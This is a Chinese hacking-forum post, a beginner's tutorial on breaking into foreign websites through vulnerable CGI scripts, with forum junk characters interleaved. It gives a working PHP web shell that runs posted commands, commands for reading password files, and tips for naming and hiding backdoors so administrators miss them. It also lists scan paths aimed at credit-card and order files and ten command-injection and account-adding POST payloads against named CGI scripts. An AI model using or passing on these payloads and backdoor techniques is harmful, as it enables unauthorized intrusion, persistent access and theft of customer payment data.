CGI 脚本入侵快速上手+脚本使用方法

admin

CGI 脚本入侵快速上手+脚本使用方法
0 @; C: [8 |4 i! g; {+ ?6 T' e大家好 我是bboyhip  只是一名菜菜的exploiter
很开心来到贵论坛
1 ~* C, _4 r" |2 D1 ~这里让我感觉 很有技术交流的感觉
$ h! r8 g" N3 c" z我会长长来玩的
前言:
以下讲解针对欧美日本网站
當我們在做滲透分析的時候 方法有很多
我门都知道 国外伺服器大多是linux 平台
所以有很多网站程序有6成都会使用cgi 脚本来管理
3 @4 s. [- p" C- M目录为/cgi-bin/
0 u+ f# g& O, v$ d: o+ x
& [7 R4 p1 w8 Y0 a5 t* v& _只是个人在实务上一些经验
$ U8 f/ N* U% D+ s写的不好 请多多见谅喔
在这里我简单分为几个部份一定要會的
讲解一下
让没有基础的人很容易上手
1 }, z6 N. C. u  p% K
8 @$ [+ l1 o6 ?$ z以下内容跟帖回复才能看到
==============================
* y0 z2 D+ R. O
( h! h  P" F$ [0 h9 D) k  ~2 I3 _第1部份: 何谓Shell?
6 p, c2 G1 r2 S8 i2 p, c4 y; @Shell的中文, 可称为 "壳".  Shell 是一个比较复杂的概念, 先看比较传统的解释:
A shell is the program which reads user input from the command line and executes actions based upon that input.
意思是, 通过应用程式(shell), 用户输入指令, 由系统执行该指令.
, Q+ l& e  G" h4 H  s
对於黑客来说, shell是後门, 是入侵/ 控制/ 浏览对方系统的程式/ 方法.  
5 L& Q0 x8 N4 @9 k/ u; C要自行建立一个shell是十分困难的, 因为要先找漏洞, 找到後, 利用该漏洞来写入档案/ 後门.  大家都知道, 有些漏洞只可加码, 有些可读档, 但可以写档的不多.  在数年前, 有一个十分流行及易用的漏洞addpasswd.cgi, 可以写後门, 但时至今日, 绝大部份的addpasswd.cgi已经被删除.
所以, 对於入门的exploiter来说, 先收集别人的後门, 多多练习, 然後再学习做自己的shell.

/ |' B5 U4 f1 N; n, i第2部份: Unix 指令
, h" a4 v' r/ u, Q- G  I, ?0 }8 _% ^以下是一些常见及重要的指令:
pwd: 显示当前目录, 即是後门/程式所在的位置
$ t# `9 {/ E8 e" ~6 s" x( `如 /home/www/site.com/cgi-bin/
ls: 列出档案 (-a 包含隐藏档; -l 包含详细资料).  
( h! \9 ~! \0 F% C- Pls -al :详细列出档案资料(当前目录)
. ]1 {" s; U) ]9 s& c$ vls /: 列出根目录
& b& V4 l( ?7 Ils /etc: 列出/etc的资料夹及档案
ls ../ -al: 详细列出上一层的资料夹及档案
cat: 显示档案内容
1 F# J, {7 f, z, u& O4 ccat .htpasswd: 显示 .htpasswd 这个档案的内容(当前目录)
cat /etc/passwd: 显示 /etc/passwd 这个档案的内容
who: 显示谁login 至系统
- E' S# M1 i  O( ]4 _8 |man: 显示指令用法  
9 V& }0 `/ v  F2 X  bman ls: 显示ls这指令的用法  
, }8 [& z* c8 k2 F) k1 P- ~  tmkdir 建立目录
' R+ k5 f. [" {2 P1 trmdir 删除目录
mv 移动档案
rm 删除档案
- N! ?3 \* P  A2 b, u
1 T, _8 l, k, [7 _9 d5 u$ ?; {第3部份: Shell的使用
例如:
http://site.com/refer.php
这是我的後门, 原代码如下:
<Form Action="#" Method="POST">
. D0 n  E1 h* w: k2 {9 c1 o<Input type="text" name="cmd">
; p# I6 P8 r0 F+ Y5 v<Input type="Submit">
</Form>
# z  M: @$ w& D) E* T$ q<?php
; v/ J2 J; q# ]& ?: }% }) e& @$cmd = $_POST['cmd'];
$Output = shell_exec($cmd);
echo $Output;
?>
输入pwd, 可得到绝对路径:
7 m- j% _$ {$ K% q0 z1 u/home/htdocs/users/jnesbitt/jnesbitt/nylonfantasies.com
# w$ Y9 |! |' X* x  f+ j! s
第4部份: 注意事项
% w; D6 @" k. U# d: X- 使用匿名代理, 保障自己
- 不可恶意破坏, 或更改现有档案, 否则管理员发现了, 不但会删除後门, 可能会有追究行动
# P. h' m5 ^1 b6 |- 加後门前, 必须了解目标系统是否支援.  例如, cgi後门, 应放在cgi-bin; 有些系统可能不支援 php後门等.
- 加後门前 (如 index.php), 先检查是否已存在该档案名称, 以免覆盖原有档案, 造成破坏.
- 後门的名称, 不可使用hack, crack, exploit等字眼, 最好使用index, index1, log, login, refer, tmp, test, info等, 鱼目混珠,
' M) B3 N9 ~5 ]1 ^# H2 {7 {不容易被发现.
' v4 H( b3 @8 P% l5 i- 将後门放在比较隐闭的地方 (例如 /cgi-bin/内, 有很多cgi档案, 比较少php档案)
& y( B  p# B; Y针对网站的渗透分析方法太多了
6 R& f% f2 ~/ t& }( N4 v% S9 H: f这篇文章的重点是cgi 脚本攻击
所以我用简单的叙述形容
4 \1 g" }' K' V7 x# l开始讲解脚本入侵过程:
- S* y+ u: `9 H9 Y在这里提供一些方法思路让大家学习一下
) S$ a$ x$ }; [' B* f& @7 \
: G7 T# W& s" G$ Q* j1.一开始对一个网站进行cgi漏洞扫描
我们需要的东西有
4 B8 c& V) Z* t4 B& d扫洞工具 如:triton..等等
E表
# d8 s( O& {! H% t如
  r$ T! e* ~4 e1 \7 H3 J" i/cgi-bin/add-passwd.cgi
2 [2 z# B3 [- w" T7 f7 t8 Z/WebShop/templates/cc.txt
9 r9 b& ?" `" V" H4 y. S% _/Admin_files/order.log
/orders/mountain.cfg
7 ~. e4 K2 b3 F# V5 P4 A/cgi-sys/cart.pl
/scripts/cart.pl
9 ]+ \1 S. c% M/htbin/cart.pl
E表来源可以是网路收寻或是自己的0 day
' I3 v, b# O/ F- R/ r. i* O  @1 @
% g; [, w# B2 t, z5 Q- q2.怎样确认扫到的洞 是真的还假的?
举例: target: http://www.site.com/cgi-bin/add-passwd.cgi
一般都是在IE里先看一下的,记住这个返回码哦
* r1 B: p* C/ zERROR:This script should be referenced with a METHOD of POST.
没有返回一定是假的
3.重来来了 很多人都会问我
, h9 U4 \; _+ ]8 n他扫到很多洞 但是不会使用
因为这些漏洞 使用的语法 称为post
我们要找post 的方法很多
可以是源代码分析 找出介质
或是用抓包工具 抓他的语法...等等

以下我提供10个 cgi 洞以及使用方法post
; S8 \1 ~5 s( D! m6 I$ B2 {让大家可以针对网站去做扫描  
/index.cgi
wei=ren&gen=command
/passmaster.cgi
3 s& `; n# v% M  ~% YAction=Add&Username=Username&Password=Password
/accountcreate.cgi
2 v0 l' g8 z2 \1 u1 L* Husername=username&password=password&ref1=|echo;ls|
9 y9 t: y: o7 N9 K+ B9 a* l/form.cgi
3 _4 E% _: P: S( D! |2 E6 ~name=xxxx&email=email&subject=xxxx&response=|echo;ls|
/addusr.pl
& Y4 k  z( H" H& I/cgi-bin/EuroDebit/addusr.pl
5 F& A) {% B8 |4 Puser=username&pass=Password&confirm=Password
9 `& K0 q; Z8 `5 \5 Y" W/ccbill-local.asp
post_values=username:password
  d7 {) w. O) B/ l9 Z3 B% Q/count.cgi
% ?7 g: @4 b+ }: U' J! ^: apinfile=|echo;ls -la;exit|
/recon.cgi
$ |" I/ e4 Y, ^3 I( @/recon.cgi?search
8 g) [3 `1 K; t+ _/ y* ?searchoption=1&searchfor=|echo;ls -al;exit|
/ v" q* I) N; A7 u/verotelrum.pl
' w3 h  n. P( k; `7 a1 Cvercode=username:password:dseegsow:add:amount<&30>
/af.cgi_browser_out=|echo;ls -la;exit;|

8 r* g) r7 O  W6 L/ }今天就讲到这  感谢大家支持